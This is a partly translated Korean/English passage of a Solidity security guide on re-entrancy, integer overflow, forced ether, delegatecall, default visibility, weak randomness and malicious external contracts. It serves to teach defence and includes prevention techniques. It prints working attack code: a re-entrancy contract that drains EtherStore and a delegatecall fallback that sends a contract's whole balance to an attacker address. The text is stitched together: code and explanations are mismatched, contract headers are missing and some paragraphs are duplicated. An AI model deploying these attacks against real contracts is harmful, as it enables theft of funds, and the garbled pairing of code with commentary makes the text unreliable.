uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() public payable {
    balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    require(msg.sender.call.value(_weiToWithdraw)());
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
}

이 계약에는 두 개의 public 함수가 있습니다. `depositFunds()`와 `withdrawFunds()`입니다. `depositFunds()` 함수는 단순히 발신자의 잔액을 증가시킵니다. `withdrawFunds()` 함수는 발신자가 출금할 wei의 양을 지정할 수 있게 합니다. 이 함수는 요청한 출금 금액이 1 ether 미만이고 지난 한 주 동안 출금이 없었을 때만 성공합니다. 정말 그럴까요?...

취약점은 \[17\]번 줄에서 발생하는데, 여기서 사용자에게 요청한 ether 금액을 보냅니다. 다음 계약을 생성하는 악의적인 공격자를 생각해 보세요,

Attack.sol:```solidity
import "EtherStore.sol";

contract Attack {
  EtherStore public etherStore;

  // initialise the etherStore variable with the contract address
  constructor(address _etherStoreAddress) {
      etherStore = EtherStore(_etherStoreAddress);
  }

  function pwnEtherStore() public payable {
      // attack to the nearest ether
      require(msg.value >= 1 ether);
      // send eth to the depositFunds() function
      etherStore.depositFunds.value(1 ether)();
      // start the magic
      etherStore.withdrawFunds(1 ether);
  }

  function collectEther() public {
      msg.sender.transfer(this.balance);
  }

  // fallback function - where the magic happens
  function () payable {
      if (etherStore.balance > 1 ether) {
          etherStore.withdrawFunds(1 ether);
      }
  }
}

// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;

function depositFunds() public payable {
    balances[msg.sender] += msg.value;
}

function withdrawFunds (uint256 _weiToWithdraw) public {
    require(!reEntrancyMutex);
    require(balances[msg.sender] >= _weiToWithdraw);
    // limit the withdrawal
    require(_weiToWithdraw <= withdrawalLimit);
    // limit the time allowed to withdraw
    require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
    balances[msg.sender] -= _weiToWithdraw;
    lastWithdrawTime[msg.sender] = now;
    // set the reEntrancy mutex before the external call
    reEntrancyMutex = true;
    msg.sender.transfer(_weiToWithdraw);
    // release the mutex after the external call
    reEntrancyMutex = false;
}

<h3 id="re-example">실제 사례: The DAO</h3>

[The DAO](https://en.wikipedia.org/wiki/The_DAO_(organization)) (탈중앙화 자치 조직)은 이더리움 초기 개발 과정에서 발생한 주요 해킹 사건 중 하나였습니다. 당시 해당 컨트랙트는 1억 5천만 달러(USD) 이상을 보유하고 있었습니다. 재진입(Re-entrancy)이 이 공격에서 주요한 역할을 했으며, 이는 결국 이더리움 클래식(ETC)을 탄생시킨 하드포크로 이어졌습니다. DAO 익스플로잇에 대한 좋은 분석은 [Phil Daian의 게시물](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/)을 참조하세요.

<h2 id="ouflow"><span id="SP-2">2. 산술 오버플로/언더플로</span></h2>

이더리움 가상 머신(EVM)은 정수에 대해 고정 크기 데이터 타입을 지정합니다. 즉, 정수 변수는 표현할 수 있는 숫자의 범위가 정해져 있습니다. 예를 들어 `uint8`은 \[0,255\] 범위의 숫자만 저장할 수 있습니다. `uint8`에 `256`을 저장하려고 하면 `0`이 됩니다. 주의하지 않으면, 사용자 입력이 검증되지 않은 상태에서 이를 저장하는 데이터 타입의 범위를 벗어나는 숫자를 결과로 내는 계산이 수행될 때 Solidity의 변수가 악용될 수 있습니다.

산술 오버플로/언더플로에 대한 자세한 내용은 [How to Secure Your Smart Contracts](https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-1-c33048d4d17d), [Ethereum Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/known_attacks/#integer-overflow-and-underflow) 및 [Ethereum, Solidity and integer overflows: programming blockchains like 1970](https://randomoracle.wordpress.com/2018/04/27/ethereum-solidity-and-integer-overflows-programming-blockchains-like-1970/)을 참조하세요.

<h3 id="ou-vuln">취약점</h3>

오버플로/언더플로는 고정 크기 변수가 해당 변수의 데이터 타입 범위를 벗어나는 숫자(또는 데이터)를 저장하도록 요구하는 연산이 수행될 때 발생합니다.

예를 들어, 값으로 `0`을 저장하고 있는 `uint8`(8비트 부호 없는 정수, 즉 양수만) 변수에서 `1`을 빼면 숫자 `255`가 됩니다. 이것이 언더플로입니다. `uint8`의 범위보다 낮은 숫자를 할당한 것이며, 결과는 *래핑(wraps around)*되어 `uint8`이 저장할 수 있는 가장 큰 숫자가 됩니다. 마찬가지로 `uint8`에 `2^8=256`을 더하면 `uint`의 전체 길이를 한 바퀴 돌았기 때문에 변수는 그대로 유지됩니다 (수학자들을 위해 설명하자면, 이는 삼각 함수의 각도에 $2\pi$를 더하는 것과 유사합니다. $\sin(x) = \sin(x+2\pi)$). 데이터 타입의 범위보다 큰 숫자를 더하는 것을 오버플로라고 합니다. 명확히 하기 위해, 현재 값이 0인 `uint8`에 `257`을 더하면 숫자 `1`이 됩니다. 고정 타입 변수가 순환적이라고 생각하면 때로는 유익합니다. 저장 가능한 가장 큰 숫자보다 큰 숫자를 더하면 0부터 다시 시작하고, 그 반대로 0의 경우에는 0에서 더 많이 뺄수록 가장 큰 숫자부터 아래로 내려가며 셉니다.

이런 종류의 숫자적 함정은 공격자가 코드를 악용하여 예상치 못한 로직 흐름을 만들 수 있게 합니다. 예를 들어, 아래의 시간 잠금(TimeLock) 컨트랙트를 살펴보세요.

TimeLock.sol:```solidity
contract TimeLock {

    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = now + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        uint transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}

This is a simple token contract which employs a `transfer()` function, allowing participants to move their tokens around. Can you see the error in this contract?

이것은 참가자들이 토큰을 이동할 수 있게 하는 `transfer()` 함수를 사용하는 간단한 토큰 컨트랙트입니다. 이 컨트랙트에서 오류를 찾을 수 있나요?

The flaw comes in the `transfer()` function. The require statement on line \[13\] can be bypassed using an underflow. Consider a user that has no balance. They could call the `transfer()` function with any non-zero `_value` and pass the require statement on line \[13\]. This is because `balances[msg.sender]` is zero (and a `uint256`) so subtracting any positive amount (excluding `2^256`) will result in a positive number due to the underflow we described above. This is also true for line \[14\], where our balance will be credited with a positive number. Thus, in this example, we have achieved free tokens due to an underflow vulnerability.

결함은 `transfer()` 함수에 있습니다. line \[13\]의 require 문은 언더플로를 사용하여 우회할 수 있습니다. 잔액이 없는 사용자를 고려해 보세요. 그들은 0이 아닌 `_value`로 `transfer()` 함수를 호출하고 line \[13\]의 require 문을 통과할 수 있습니다. `balances[msg.sender]`가 0이고 (`uint256`)이므로 양수 금액(`2^256` 제외)을 빼면 위에서 설명한 언더플로로 인해 양수가 되기 때문입니다. 이는 line \[14\]에도 해당되며, 여기서 우리의 잔액은 양수로 적립됩니다. 따라서 이 예시에서는 언더플로 취약점으로 인해 무료 토큰을 얻었습니다.

<h3 id="ou-prevention">예방 기법</h3>

The (currently) conventional technique to guard against under/overflow vulnerabilities is to use or build mathematical libraries which replace the standard math operators; addition, subtraction and multiplication (division is excluded as it doesn't cause over/under flows and the EVM reverts on division by 0).

(현재) 언더플로/오버플로 취약점을 방지하는 일반적인 기술은 표준 수학 연산자를 대체하는 수학 라이브러리를 사용하거나 구축하는 것입니다. 덧셈, 뺄셈, 곱셈(나눗셈은 오버/언더플로를 일으키지 않고 EVM이 0으로 나눌 때 되돌리기 때문에 제외됩니다).

[OppenZepplin](https://github.com/OpenZeppelin/zeppelin-solidity) have done a great job in building and auditing secure libraries which can be leveraged by the Ethereum community. In particular, their [Safe Math Library](https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol) is a reference or library to use to avoid under/over flow vulnerabilities.

[OppenZepplin](https://github.com/OpenZeppelin/zeppelin-solidity)은 Ethereum 커뮤니티가 활용할 수 있는 보안 라이브러리를 구축하고 감사하는 훌륭한 작업을 해왔습니다. 특히 그들의 [Safe Math Library](https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol)는 언더/오버플로 취약점을 피하기 위해 사용할 수 있는 참조 자료 또는 라이브러리입니다.

To demonstrate how these libraries are used in Solidity, let us correct the `TimeLock` contract, using Open Zepplin's `SafeMath` library. The over flow-free contract would become:

이 라이브러리들이 Solidity에서 어떻게 사용되는지 보여주기 위해, Open Zepplin의 `SafeMath` 라이브러리를 사용하여 `TimeLock` 컨트랙트를 수정해 보겠습니다. 오버플로가 없는 컨트랙트는 다음과 같습니다:```solidity
library SafeMath {

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract TimeLock {
    using SafeMath for uint; // use the library for uint type
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    function deposit() public payable {
        balances[msg.sender] = balances[msg.sender].add(msg.value);
        lockTime[msg.sender] = now.add(1 weeks);
    }

    function increaseLockTime(uint256 _secondsToIncrease) public {
        lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
    }

    function withdraw() public {
        require(balances[msg.sender] > 0);
        require(now > lockTime[msg.sender]);
        uint transferValue = balances[msg.sender];
        balances[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
}

uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;

mapping(address => uint) redeemableEther;
// users pay 0.5 ether. At specific milestones, credit their accounts
function play() public payable {
    require(msg.value == 0.5 ether); // each play is 0.5 ether
    uint currentBalance = this.balance + msg.value;
    // ensure no players after the game as finished
    require(currentBalance <= finalMileStone);
    // if at a milestone credit the players account
    if (currentBalance == payoutMileStone1) {
        redeemableEther[msg.sender] += mileStone1Reward;
    }
    else if (currentBalance == payoutMileStone2) {
        redeemableEther[msg.sender] += mileStone2Reward;
    }
    else if (currentBalance == finalMileStone ) {
        redeemableEther[msg.sender] += finalReward;
    }
    return;
}

function claimReward() public {
    // ensure the game is complete
    require(this.balance == finalMileStone);
    // ensure there is a reward to give
    require(redeemableEther[msg.sender] > 0);
    uint transferValue = redeemableEther[msg.sender];
    redeemableEther[msg.sender] = 0;
    msg.sender.transfer(transferValue);
}

This contract represents a simple game (which would naturally invoke [race-conditions](#race-conditions)) whereby players send `0.5 ether` quanta to the contract in hope to be the player that reaches one of three milestones first. Milestone's are denominated in ether. The first to reach the milestone may claim a portion of the ether when the game has ended. The game ends when the final milestone (`10 ether`) is reached and users can claim their rewards.

The issues with the `EtherGame` contract come from the poor use of `this.balance` in both lines \[14\] (and by association \[16\]) and \[32\]. A mischievous attacker could forcibly send a small amount of ether, let's say `0.1 ether` via the `selfdestruct()` function (discussed above) to prevent any future players from reaching a milestone. As all legitimate players can only send `0.5 ether` increments, `this.balance` would no longer be half integer numbers, as it would also have the `0.1 ether` contribution. This prevents all the if conditions on lines \[18\], \[21\] and \[24\] from being true.

Even worse, a vengeful attacker who missed a milestone, could forcibly send `10 ether` (or an equivalent amount of ether that pushes the contract's balance above the `finalMileStone`) which would lock all rewards in the contract forever. This is because the `claimReward()` function will always revert, due to the require on line \[32\] (i.e. `this.balance` is greater than `finalMileStone`).

<h3 id="ether-prevention">예방 기법</h3>

이 취약점은 일반적으로 `this.balance`의 오용에서 발생합니다. 계약 로직은, 가능하다면, 계약의 잔액 정확한 값에 의존하지 않도록 해야 합니다. 잔액은 인위적으로 조작될 수 있기 때문입니다. `this.balance`에 기반한 로직을 적용한다면, 예상치 못한 잔액을 고려해야 합니다.

입금된 이더의 정확한 값이 필요한 경우, 지불 가능(payable) 함수에서 증가시키는 자체 정의 변수를 사용하여 입금된 이더를 안전하게 추적해야 합니다. 이 변수는 `selfdestruct()` 호출을 통해 강제로 전송된 이더의 영향을 받지 않습니다.

이를 고려하면, `EtherGame` 계약의 수정된 버전은 다음과 같을 수 있습니다:```solidity
contract EtherGame {

    uint public payoutMileStone1 = 3 ether;
    uint public mileStone1Reward = 2 ether;
    uint public payoutMileStone2 = 5 ether;
    uint public mileStone2Reward = 3 ether;
    uint public finalMileStone = 10 ether;
    uint public finalReward = 5 ether;
    uint public depositedWei;

    mapping (address => uint) redeemableEther;

    function play() public payable {
        require(msg.value == 0.5 ether);
        uint currentBalance = depositedWei + msg.value;
        // ensure no players after the game as finished
        require(currentBalance <= finalMileStone);
        if (currentBalance == payoutMileStone1) {
            redeemableEther[msg.sender] += mileStone1Reward;
        }
        else if (currentBalance == payoutMileStone2) {
            redeemableEther[msg.sender] += mileStone2Reward;
        }
        else if (currentBalance == finalMileStone ) {
            redeemableEther[msg.sender] += finalReward;
        }
        depositedWei += msg.value;
        return;
    }

    function claimReward() public {
        // ensure the game is complete
        require(depositedWei == finalMileStone);
        // ensure there is a reward to give
        require(redeemableEther[msg.sender] > 0);
        uint transferValue = redeemableEther[msg.sender];
        redeemableEther[msg.sender] = 0;
        msg.sender.transfer(transferValue);
    }
 }

// modify the zeroth number in the sequence
function setStart(uint _start) public {
    start = _start;
}

function setFibonacci(uint n) public {
    calculatedFibNumber = fibonacci(n);
}

function fibonacci(uint n) internal returns (uint) {
    if (n == 0) return start;
    else if (n == 1) return start + 1;
    else return fibonacci(n - 1) + fibonacci(n - 2);
}

이 라이브러리는 수열에서 *n*번째 피보나치 수를 생성하는 함수를 제공합니다. 사용자는 수열의 시작 숫자(`start`)를 변경하고 이 새로운 수열에서 *n*번째 피보나치 유사 수를 계산할 수 있습니다.

이제 이 라이브러리를 사용하는 계약을 살펴보겠습니다.


`FibonacciBalance.sol`:```solidity
contract FibonacciBalance {

    address public fibonacciLibrary;
    // the current fibonacci number to withdraw
    uint public calculatedFibNumber;
    // the starting fibonacci sequence number
    uint public start = 3;
    uint public withdrawalCounter;
    // the fibonancci function selector
    bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));

    // constructor - loads the contract with ether
    constructor(address _fibonacciLibrary) public payable {
        fibonacciLibrary = _fibonacciLibrary;
    }

    function withdraw() {
        withdrawalCounter += 1;
        // calculate the fibonacci number for the current withdrawal user
        // this sets calculatedFibNumber
        require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));
        msg.sender.transfer(calculatedFibNumber * 1 ether);
    }

    // allow users to call fibonacci library functions
    function() public {
        require(fibonacciLibrary.delegatecall(msg.data));
    }
}

// fallback - this will run if a specified function is not found
function() public {
    storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw
    // is called we don't send out any ether.
    <attacker_address>.transfer(this.balance); // we take all the ether
}

이 공격 계약이 `calculatedFibNumber`를 스토리지 `slot[1]`을 변경하여 수정한다는 점에 유의하세요. 원칙적으로 공격자는 이 계약에 대한 모든 종류의 공격을 수행하기 위해 선택한 다른 스토리지 슬롯을 수정할 수 있습니다. 모든 독자들이 이 계약들을 [Remix](https://remix.ethereum.org)에 넣고 다양한 공격 계약과 상태 변경을 `delegatecall` 함수들을 통해 실험해 보시기를 권장합니다.

또한 `delegatecall`이 상태를 보존한다고 말할 때, 우리는 계약의 변수 이름을 말하는 것이 아니라 해당 이름이 가리키는 실제 스토리지 슬롯을 말한다는 점을 인지하는 것이 중요합니다. 이 예제에서 볼 수 있듯이, 단순한 실수가 공격자로 하여금 전체 계약과 그 이더를 탈취하게 만들 수 있습니다.

<h3 id="dc-prevention">예방 기술</h3>

Solidity는 라이브러리 계약을 구현하기 위한 `library` 키워드를 제공합니다 (자세한 내용은 [Solidity 문서](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#libraries)를 참조하세요). 이는 라이브러리 계약이 상태 비저장(stateless)이고 자체 파괴가 불가능하도록 보장합니다. 라이브러리를 상태 비저장으로 강제하면 이 섹션에서 설명한 스토리지 컨텍스트의 복잡성이 완화됩니다. 상태 비저장 라이브러리는 또한 공격자가 라이브러리 코드에 의존하는 계약들에 영향을 주기 위해 라이브러리의 상태를 직접 수정하는 공격을 방지합니다.
일반적인 규칙으로, `DELEGATECALL`을 사용할 때는 라이브러리 계약과 호출 계약 양쪽의 가능한 호출 컨텍스트에 세심한 주의를 기울이고, 가능할 때마다 상태 비저장 라이브러리를 구축하세요.

<h3 id="dc-example">실제 사례: 패리티 멀티시그 월렛 (두 번째 해킹)</h3>

두 번째 패리티 멀티시그 월렛 해킹은 잘 작성된 라이브러리 코드의 컨텍스트가 의도되지 않은 컨텍스트에서 실행될 경우 어떻게 악용될 수 있는지 보여주는 사례입니다. 이 해킹에 대한 훌륭한 설명이 여러 가지 있습니다. 예를 들어 Anthony Akentiev의 이 개요: [Parity MultiSig Hacked. Again](https://medium.com/chain-cloud-company-blog/parity-multisig-hack-again-b46771eaa838), 이 [stack exchange 질문](https://ethereum.stackexchange.com/questions/30128/explanation-of-parity-library-suicide/30130), 그리고 [An In-Depth Look at the Parity Multisig Bug](http://hackingdistributed.com/2017/07/22/deep-dive-parity-bug/)가 있습니다.

이러한 참고 자료에 더해, 악용된 계약들을 살펴보겠습니다. 라이브러리 및 월렛 계약은 패리티 GitHub에서 [여기](https://github.com/paritytech/parity/blob/b640df8fbb964da7538eef268dffc125b081a82f/js/src/contracts/snippets/enhanced-wallet.sol)에서 찾을 수 있습니다.

이 계약의 관련 측면을 살펴보겠습니다. 여기에는 두 개의 관심 계약이 있습니다: 라이브러리 계약과 월렛 계약입니다.

라이브러리 계약,```solidity
contract WalletLibrary is WalletEvents {

  ...

  // throw unless the contract is not yet initialized.
  modifier only_uninitialized { if (m_numOwners > 0) throw; _; }

  // constructor - just pass on the owner array to the multiowned and
  // the limit to daylimit
  function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
    initDaylimit(_daylimit);
    initMultiowned(_owners, _required);
  }

  // kills the contract sending everything to `_to`.
  function kill(address _to) onlymanyowners(sha3(msg.data)) external {
    suicide(_to);
  }

  ...

}

Notice that the `Wallet` contract essentially passes all calls to the `WalletLibrary` contract via a delegate call. The constant `_walletLibrary` address in this code snippet acts as a placeholder for the actually deployed `WalletLibrary` contract (which was at `0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4`).

The intended operation of these contracts was to have a simple low-cost deployable `Wallet` contract whose code base and main functionality was in the `WalletLibrary` contract. Unfortunately, the `WalletLibrary` contract is itself a contract and maintains it's own state. Can you see why this might be an issue?

It is possible to send calls to the `WalletLibrary` contract itself. Specifically, the `WalletLibrary` contract could be initialised, and become owned. A user did this, by calling `initWallet()` function on the `WalletLibrary` contract, becoming an owner of the library contract. The same user, subsequently called the `kill()` function. Because the user was an owner of the Library contract, the modifier passed and the library contract suicided. As all `Wallet` contracts in existence refer to this library contract and contain no method to change this reference, all of their functionality, including the ability to withdraw ether is lost along with the `WalletLibrary` contract. More directly, all ether in all parity multi-sig wallets of this type instantly become lost or permanently unrecoverable.

<h2 id="visibility"><span id="SP-5">5. 기본 가시성</span></h2>

Solidity의 함수에는 함수가 어떻게 호출되도록 허용되는지를 결정하는 가시성 지정자(visibility specifier)가 있습니다. 가시성은 함수가 사용자에 의해 외부에서 호출될 수 있는지, 다른 파생 계약에 의해 호출될 수 있는지, 내부에서만 호출될 수 있는지, 아니면 외부에서만 호출될 수 있는지를 결정합니다. 네 가지 가시성 지정자가 있으며 자세한 내용은 [Solidity 문서](http://solidity.readthedocs.io/en/latest/contracts.html?highlight=library#visibility-and-getters)에 설명되어 있습니다. 함수는 기본적으로 `public`이며 사용자가 외부에서 호출할 수 있습니다. 가시성 지정자의 잘못된 사용은 이 섹션에서 논의할 스마트 계약의 심각한 취약점으로 이어질 수 있습니다.

<h3 id="visibility-vuln">취약점</h3>

함수의 기본 가시성은 `public`입니다. 따라서 가시성을 지정하지 않은 함수는 외부 사용자가 호출할 수 있습니다.  문제는 개발자가 private(또는 계약 내부에서만 호출 가능해야 하는) 함수에 가시성 지정자를 실수로 무시할 때 발생합니다.

빠르게 사소한 예제를 살펴보겠습니다.```solidity
contract HashForEther {

    function withdrawWinnings() {
        // Winner if the last 8 hex characters of the address are 0.
        require(uint32(msg.sender) == 0);
        _sendWinnings();
     }

     function _sendWinnings() {
         msg.sender.transfer(this.balance);
     }
}

두 함수 모두 명시적으로 가시성(visibility)을 지정하지 않았다는 점에 유의하세요. 두 함수 모두 기본적으로 `public`입니다. `initWallet()` 함수는 지갑 생성자에서 호출되며, `initMultiowned()` 함수에서 볼 수 있듯이 다중 서명 지갑의 소유자를 설정합니다. 이 함수들이 실수로 `public`으로 남겨졌기 때문에, 공격자는 배포된 컨트랙트에서 이 함수들을 호출하여 소유권을 공격자의 주소로 재설정할 수 있었습니다. 그 후 공격자는 소유자 자격으로 지갑에서 모든 이더를 인출하여 무려 \$31M에 달하는 피해를 입혔습니다.

<h2 id="entropy"><span id="SP-6">6. 엔트로피 착각</span></h2>

Ethereum 블록체인의 모든 트랜잭션은 결정론적 상태 전환 연산입니다. 즉, 모든 트랜잭션은 Ethereum 생태계의 전역 상태를 수정하며, 그 과정은 불확실성 없이 계산 가능한 방식으로 이루어집니다. 이는 궁극적으로 블록체인 생태계 내부에는 엔트로피 또는 무작위성의 원천이 없음을 의미합니다. Solidity에는 `rand()` 함수가 없습니다. 분산형 엔트로피(무작위성)를 달성하는 것은 잘 알려진 문제이며, 이를 해결하기 위해 많은 아이디어가 제안되었습니다(예: [RandDAO](https://github.com/randao/randao) 또는 이 [게시물](https://vitalik.ca/files/randomness.html)에서 Vitalik이 설명한 해시 체인 사용).

<h3 id="entropy-vuln">취약점</h3>

Ethereum 플랫폼에 처음 구축된 일부 컨트랙트는 도박을 기반으로 했습니다. 근본적으로 도박은 불확실성(베팅할 무언가)을 요구하므로, 블록체인(결정론적 시스템)에 도박 시스템을 구축하는 것은 상당히 어렵습니다. 불확실성은 반드시 블록체인 외부의 소스에서 비롯되어야 한다는 것은 분명합니다. 이는 동료 간 베팅에서는 가능하지만(예: [커밋-리빌 기법](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract)), 블랙잭이나 룰렛에서처럼 *하우스* 역할을 하는 컨트랙트를 구현하려면 훨씬 더 어렵습니다. 일반적인 함정은 해시, 타임스탬프, 블록 번호 또는 가스 한도와 같은 미래 블록 변수를 사용하는 것입니다. 이들 변수의 문제점은 블록을 채굴하는 채굴자가 통제하므로 진정한 난수가 아니라는 점입니다. 예를 들어, 다음 블록 해시가 짝수로 끝나면 검은색 번호를 반환하는 로직이 있는 룰렛 스마트 컨트랙트를 생각해 보겠습니다. 채굴자(또는 채굴 풀)는 검은색에 \\$1M을 베팅할 수 있습니다. 다음 블록을 풀었을 때 해시가 홀수로 끝나는 것을 발견하면 기꺼이 블록을 발행하지 않고, 블록 해시가 짝수인 솔루션을 찾을 때까지 다른 블록을 채굴할 것입니다(블록 보상과 수수료가 $1M 미만이라고 가정). 과거 또는 현재 변수를 사용하는 것은 Martin Swende가 자신의 훌륭한 [블로그 게시물](http://martin.swende.se/blog/Breaking_the_house.html)에서 입증한 것처럼 훨씬 더 파괴적일 수 있습니다. 또한 블록 변수만 사용하면 블록 내의 모든 트랜잭션에 대해 의사 난수가 동일해지므로, 공격자는 한 블록 내에서 많은 트랜잭션을 수행하여 승리 금액을 배가시킬 수 있습니다(최대 베팅이 있는 경우).

<h3 id="entropy-prevention">예방 기법</h3>

엔트로피(무작위성)의 소스는 반드시 블록체인 외부에 있어야 합니다. 이는 [커밋-리빌](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract)과 같은 시스템을 통해 동료 간에 수행하거나, 신뢰 모델을 참여자 그룹으로 변경하는 방식(예: [RandDAO](https://github.com/randao/randao))으로 수행할 수 있습니다. 또한 무작위성 오라클 역할을 하는 중앙화된 엔티티를 통해서도 수행할 수 있습니다. 블록 변수(일반적으로 일부 예외가 있음)는 채굴자가 조작할 수 있으므로 엔트로피의 소스로 사용해서는 안 됩니다.

<h3 id="entropy-example">실제 사례: PRNG 컨트랙트</h3>

Arseny Reutov는 일종의 의사 난수 생성기(PRNG)를 사용하는 3649개의 실제 스마트 컨트랙트를 분석한 후 [블로그 게시물](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620)을 작성했으며, 그중 43개의 컨트랙트가 악용될 수 있음을 발견했습니다.

<h2 id="contract-reference"><span id="SP-7">7. 외부 컨트랙트 참조</span></h2>

Ethereum *글로벌 컴퓨터*의 이점 중 하나는 코드를 재사용하고 네트워크에 이미 배포된 컨트랙트와 상호작용할 수 있는 능력입니다. 그 결과, 많은 컨트랙트가 외부 컨트랙트를 참조하며, 일반적인 운영에서는 외부 메시지 호출을 사용하여 이러한 컨트랙트와 상호작용합니다. 이러한 외부 메시지 호출은 악의적인 행위자의 의도를 명확하지 않은 방식으로 숨길 수 있으며, 이에 대해 다룰 것입니다.

<h3 id="cr-vuln">취약점</h3>

Solidity에서는 해당 주소의 코드가 캐스팅되는 컨트랙트 유형을 나타내는지 여부와 관계없이 모든 주소를 컨트랙트로 캐스팅할 수 있습니다. 이는 특히 컨트랙트 작성자가 악성 코드를 숨기려 할 때 기만적일 수 있습니다. 예를 들어 이를 설명하겠습니다:

Rot13 암호를 기초적으로 구현한 코드 조각을 고려해 보겠습니다.

`Rot13Encryption.sol`:```solidity
//encryption contract
contract Rot13Encryption {

   event Result(string convertedString);

    //rot13 encrypt a string
    function rot13Encrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            //inline assembly to modify the string
            assembly {
                char := byte(0,char) // get the first byte
                if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
                { char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
                if iszero(eq(char, 0x20)) // ignore spaces
                {mstore8(add(add(text,0x20), mul(i,1)), add(char,13))} // add 13 to char.
            }
        }
        emit Result(text);
    }

    // rot13 decrypt a string
    function rot13Decrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            assembly {
                char := byte(0,char)
                if and(gt(char,0x60), lt(char,0x6E))
                { char:= add(0x7B, sub(char,0x61)) }
                if iszero(eq(char, 0x20))
                {mstore8(add(add(text,0x20), mul(i,1)), sub(char,13))}
            }
        }
        emit Result(text);
    }
}

// constructor - initialise the library
constructor(Rot13Encryption _encryptionLibrary) {
    encryptionLibrary = _encryptionLibrary;
}

function encryptPrivateData(string privateInfo) {
    // potentially do some operations here
    encryptionLibrary.rot13Encrypt(privateInfo);
 }

이 계약의 문제는 `encryptionLibrary` 주소가 public 또는 constant가 아니라는 점입니다. 따라서 계약 배포자는 생성자에서 이 계약을 가리키는 주소를 전달할 수 있었습니다:```solidity
//encryption contract
contract Rot26Encryption {

   event Result(string convertedString);

    //rot13 encrypt a string
    function rot13Encrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            //inline assembly to modify the string
            assembly {
                char := byte(0,char) // get the first byte
                if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
                { char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
                if iszero(eq(char, 0x20)) // ignore spaces
                {mstore8(add(add(text,0x20), mul(i,1)), add(char,26))} // add 13 to char.
            }
        }
        emit Result(text);
    }

    // rot13 decrypt a string
    function rot13Decrypt (string text) public {
        uint256 length = bytes(text).length;
        for (var i = 0; i < length; i++) {
            byte char = bytes(text)[i];
            assembly {
                char := byte(0,char)
                if and(gt(char,0x60), lt(char,0x6E))
                { char:= add(0x7B, sub(char,0x61)) }
                if iszero(eq(char, 0x20))
                {mstore8(add(add(text,0x20), mul(i,1)), sub(char,26))}
            }
        }
        emit Result(text);
    }
}

function rot13Encrypt(string text) public {
    emit Print(text);
}

생성자에 이 두 계약 중 하나의 주소가 지정된 경우, `encryptPrivateData()` 함수는 암호화되지 않은 개인 데이터를 출력하는 이벤트를 생성할 뿐입니다. 이 예제에서는 라이브러리 유사 계약이 생성자에 설정되었지만, 권한 있는 사용자(예: `owner`)가 라이브러리 계약 주소를 변경할 수 있는 경우가 많습니다. 링크된 계약에 호출된 함수가 포함되어 있지 않으면 폴백 함수가 실행됩니다. 예를 들어, `encryptionLibrary.rot13Encrypt()` 코드 줄에서 `encryptionLibrary`로 지정된 계약이 다음과 같다면:```solidity
 contract Blank {
     event Print(string text);
     function () {
         emit Print("Here");
         //put malicious code here and it will run
     }
 }

This way an instance of the referenced contract is created at deployment time and the deployer cannot replace the `Rot13Encryption` contract with anything else without modifying the smart contract.

